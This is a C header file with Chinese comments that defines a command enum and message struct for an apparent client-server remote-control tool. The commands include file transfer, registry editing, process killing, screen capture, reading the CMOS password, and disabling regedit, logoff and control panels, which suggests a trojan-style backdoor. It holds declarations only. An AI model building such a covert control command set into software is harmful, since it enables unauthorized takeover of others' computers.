📄 commanddef.h
字号:
#include <windows.h>
#ifndef COMMANDDEF_H
#define COMMANDDEF_H
#define MAX_PARAM_COUNT 10 //允许的最大参数个数
#define MAX_PARAM_LENGTH 128 //每个命令串的最大长度
//---------------------------------------------------------------------------
enum TCommandType{ //定义命令集
ctUnkown, //无效命令
ctServerVer, //取服务器版本信息
/*文件管理操作*/
ctGetDriverList,
ctGetPathList,
ctGetFileList,
ctMKDir,
ctRdDir,
ctRenFile,
ctSearchFile,
ctChDir,
ctDeleteFile,
ctDeletePathFile,
ctCopyDir,
ctMoveFile,
ctCopyFile,
ctDownLoadFile,
ctUpLoadFile,
/*注册表操作*/
ctGetKeyNames,
ctGetValuesNames,
ctCreateKey,
ctDeleteKey,
ctWriteValue,
ctDeleteValue,
ctRenameValue,
/**/
ctShowMaxWin,
ctShowMinWin,
ctShowActiveWin,
ctShowCloseWin,
ctShowHideWin,
ctEnabledWin,
ctGetWindowsList,
ctListRunProc,
ctKillProc,
ctGetNetInfo,
ctGetCmosPwd,
ctGetEvtStrings,
ctSetEvtStrings,
ctOpenDoc,
ctReboot,
ctSysInfo,
ctSetIPAddress,
ctSetComputerName,
ctCapScreen,
ctMouseEvent,
ctShowDesktop,
ctSetSysHotKey,
ctEnabledRegedit,
ctShowShellTray,
ctSetPowderState,
ctNoMouseRight,
ctNoLogOff,
ctNoDeletePrinter,
ctNoNetSetup,
ctNoProfilePage,
ctNoSecCPL,
ctNoChangeStartMenu,
ctNoSetFolders,
ctNoDispCPL,
ctHideDrivers,
};
struct TCommandMessage{ //服务器与客户机这间传送的命令信息
TCommandType CommandType; //命令类型
int ParamStrLength; //参数串的长度
};
#endif
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -